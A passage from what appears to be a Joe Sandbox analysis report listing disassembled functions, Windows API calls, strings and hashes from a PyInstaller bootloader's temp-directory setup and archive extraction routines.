Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: e32c62f6317018de790b7a824d362476fee4f00d456471d65ae47693b1d932f0
Instruction ID: 670ebc5e103c052e2094edc188542366070cb4a3a4dd7a192199f55c72247a30
Opcode Fuzzy Hash: e32c62f6317018de790b7a824d362476fee4f00d456471d65ae47693b1d932f0
Instruction Fuzzy Hash: 1851F361B0864796EE10AB299C461B923A0BF44BB4F444131EE0CC77D6DF3DF9A5C346

Function 00007FF62C0F8660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF62C0F3CBB), ref: 00007FF62C0F8704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF62C0F3CBB), ref: 00007FF62C0F870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF62C0F3CBB), ref: 00007FF62C0F874C

Part of subcall function 00007FF62C0F8830: GetEnvironmentVariableW.KERNEL32(00007FF62C0F388E), ref: 00007FF62C0F8867
Part of subcall function 00007FF62C0F8830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF62C0F8889

Part of subcall function 00007FF62C108238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C108251

Part of subcall function 00007FF62C0F2810: MessageBoxW.USER32 ref: 00007FF62C0F28EA

Strings

LOADER: failed to set the TMP environment variable., xrefs: 00007FF62C0F86DC
TMP, xrefs: 00007FF62C0F869C, 00007FF62C0F87A3
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF62C0F877E
TMP, xrefs: 00007FF62C0F86C2
_MEI%d, xrefs: 00007FF62C0F8712

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction ID: 127c8c644071327446e162895d4b684c9f51dfee4e1841e75d0c787e07839a10
Opcode Fuzzy Hash: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction Fuzzy Hash: FB41D111A1D64248FE11E729AC5A2F91390AF897E0F944131ED0DC77DADF3DE546C30A

Function 00007FF62C0F1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF62C0F141E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF62C0F12BA
malloc, xrefs: 00007FF62C0F12C1, 00007FF62C0F12F6
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF62C0F12EF
1.3.1, xrefs: 00007FF62C0F1249
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF62C0F1276

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction ID: b5a338b783929cad4779f87220ea5676c707933e2c38f8c04746b14b5e70b0a5
Opcode Fuzzy Hash: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction Fuzzy Hash: A4510322A0C64289EE21AB15EC413BA6291FF857B4F444131EE4EC77C5EF3DE981C706

Function 00007FF62C10ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF62C10F0AA,?,?,-00000018,00007FF62C10AD53,?,?,?,00007FF62C10AC4A,?,?,?,00007FF62C105F3E), ref: 00007FF62C10EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF62C10F0AA,?,?,-00000018,00007FF62C10AD53,?,?,?,00007FF62C10AC4A,?,?,?,00007FF62C105F3E), ref: 00007FF62C10EE98

Strings

ext-ms-, xrefs: 00007FF62C10EDE9
api-ms-, xrefs: 00007FF62C10EDD6

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: e29bd8be6c23f54e85a35f3a29795efa04a20659b168910b71ed527fba9d14ce
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 6C412222B29A5682EF15CB17AC096752391BF09BF0F884139DD5DC7794EF3CE4558306

Function 00007FF62C0F36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF62C0F3804), ref: 00007FF62C0F36E1
GetLastError.KERNEL32(?,00007FF62C0F3804), ref: 00007FF62C0F36EB

Part of subcall function 00007FF62C0F2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2C9E
Part of subcall function 00007FF62C0F2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2D63
Part of subcall function 00007FF62C0F2C50: MessageBoxW.USER32 ref: 00007FF62C0F2D99

Strings

Failed to obtain executable path., xrefs: 00007FF62C0F36F3
Failed to resolve full path to executable %ls., xrefs: 00007FF62C0F3739
Failed to convert executable path to UTF-8., xrefs: 00007FF62C0F3790
\\?\, xrefs: 00007FF62C0F375A
GetModuleFileNameW, xrefs: 00007FF62C0F36FA

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: 4e8cdb5d84c73ba29dae0b0be3486a0f330b31544a968323086ec233db2db0ea
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 9921A761F1CA4285FE309724EC163BA2250BF98374F404132EE5DC25E5EF6DE645C74A

Function 00007FF62C10BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10BE89

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction ID: d5de01b296e57e1315b7a636ad8fd171338d95024b338c194b25237a98fabddb
Opcode Fuzzy Hash: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction Fuzzy Hash: 20C1F322A0C68792EF609B15984A2BD7B50FB81BF4F554131EE4E83791EE7CE865C702

Function 00007FF62C0F8570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF62C0F8590
OpenProcessToken.ADVAPI32 ref: 00007FF62C0F85A3
GetTokenInformation.KERNELBASE ref: 00007FF62C0F85C8
GetLastError.KERNEL32 ref: 00007FF62C0F85D2
GetTokenInformation.KERNELBASE ref: 00007FF62C0F8612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF62C0F862E
CloseHandle.KERNEL32 ref: 00007FF62C0F8646

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction ID: 27f1923d861f5aa6c08d6ba791f73f5243ecfc73ee9fb1d446c23abad981e651
Opcode Fuzzy Hash: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction Fuzzy Hash: 12215121A0C64246EF109B59B94526EA3A4EF867F0F600335EA6D83BE4DFBDD4858705

Function 00007FF62C0F90E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62C0F8570: GetCurrentProcess.KERNEL32 ref: 00007FF62C0F8590
Part of subcall function 00007FF62C0F8570: OpenProcessToken.ADVAPI32 ref: 00007FF62C0F85A3
Part of subcall function 00007FF62C0F8570: GetTokenInformation.KERNELBASE ref: 00007FF62C0F85C8
Part of subcall function 00007FF62C0F8570: GetLastError.KERNEL32 ref: 00007FF62C0F85D2
Part of subcall function 00007FF62C0F8570: GetTokenInformation.KERNELBASE ref: 00007FF62C0F8612
Part of subcall function 00007FF62C0F8570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF62C0F862E
Part of subcall function 00007FF62C0F8570: CloseHandle.KERNEL32 ref: 00007FF62C0F8646

LocalFree.KERNEL32(?,00007FF62C0F3C55), ref: 00007FF62C0F916C
LocalFree.KERNEL32(?,00007FF62C0F3C55), ref: 00007FF62C0F9175

Strings

S-1-3-4, xrefs: 00007FF62C0F9121
D:(A;;FA;;;%s), xrefs: 00007FF62C0F9157
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF62C0F9142
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF62C0F9183

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: c931efda4175f5d1b75a5cabb4956b3dbd1db6a7913f30cea336931e4ebf479f
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: E7217121A08B4245FF11AB10ED1A2EA6360FF89BA0F444031EE4DC3786DF3DD985C786

Function 00007FF62C0F7E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000000,?,00007FF62C0F352C,?,00000000,00007FF62C0F3F1B), ref: 00007FF62C0F7F32

Strings

\, xrefs: 00007FF62C0F7E97
%.*s, xrefs: 00007FF62C0F7EEB
%s%c, xrefs: 00007FF62C0F7EA4

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 9023beffec3a57a4629e8abb22503f1b718fcdb28fa34784c50d465fb9ddbb72
Instruction ID: da0028179664f049e22b4f1bffd33e0486af6989451cb5dd699f3388cc5b11e9
Opcode Fuzzy Hash: 9023beffec3a57a4629e8abb22503f1b718fcdb28fa34784c50d465fb9ddbb72
Instruction Fuzzy Hash: 4131D221719AC149FE219B24EC107AA6354EF88BF0F440231EE6D87BC9DF2DE6858706

Function 00007FF62C10CF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C10CF4B), ref: 00007FF62C10D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C10CF4B), ref: 00007FF62C10D107

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 45eb129ed847f8951ade3926d75fe5aa1df73fbef9a1ac62f0aaf31205d19dae
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 57910432F1865185FF60AF699C4A2BD2BA0BB45BA8F544139DE0E93A85CF3DD452C702

Function 00007FF62C10F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF62C10FA7C
_get_daylight.LIBCMT ref: 00007FF62C10FA8D
_get_daylight.LIBCMT ref: 00007FF62C10FA9E
_isindst.LIBCMT ref: 00007FF62C10FB69

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 2216d76958980a5a3c8be71cf2823cfd0165be765e6261f22fe8a7438c1f4697
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: B1510372F042118AEF18CF689D6B6BC27A1BF54378F140235ED1E92AE5DF3DA412CA01

Function 00007FF62C10577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF62C1057AF
GetFileInformationByHandle.KERNELBASE ref: 00007FF62C105811
GetLastError.KERNEL32 ref: 00007FF62C1058A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C1056B4), ref: 00007FF62C1058EE

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: f2931e55a17fed7c801103cab28c1f7fd047901bf7fa79ea6702d423310ad099
Instruction ID: a4e455abd21e01ec38651cc347f7c3c61b6c5436560bd97bca91e9b64e193112
Opcode Fuzzy Hash: f2931e55a17fed7c801103cab28c1f7fd047901bf7fa79ea6702d423310ad099
Instruction Fuzzy Hash: 6F519D22E086418AFF10DF75D85A3BD37B5BB48BA8F148435DE0D87688DF38D4618306

Function 00007FF62C105628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C105655
CreateFileW.KERNELBASE ref: 00007FF62C105694
CloseHandle.KERNEL32 ref: 00007FF62C1056C9

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction ID: da74af7f78e454ec7ea6ea347ac7f67e776f14112e1a4fa69cf558a7a62c2ca1
Opcode Fuzzy Hash: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction Fuzzy Hash: 7741A162E1878283EB10DB20995A3697360FBA53B4F109335EA9C83AD1DF7CA4F18705

Function 00007FF62C0FCC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62C0FCE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF62C0FCE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF62C0FCC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF62C0FCCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF62C0FCD21

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 8057bb0ef93e1debd6f95cbc3026028dcccac314c1d70477e347de350fcc6b8e
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 42318D21E0CA5749FE24AB299C273FD2681AF513A4F444034DE0EC72D7CF6EA884C25B

Function 00007FF62C109A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF62C109A2C), ref: 00007FF62C109A41
TerminateProcess.KERNEL32(?,?,?,00007FF62C109A2C), ref: 00007FF62C109A4C
ExitProcess.KERNEL32 ref: 00007FF62C109A5B

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: d8cc47cb95edc8d5b6e99814b8124a7b7ae47c6e12d0ecac96a07b88ae943250
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: 04D09250B1874682EF183B786CAF17922556FADB31F152438CC1B86397EE6CA8698342

Function 00007FF62C10013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C100180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C100277

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
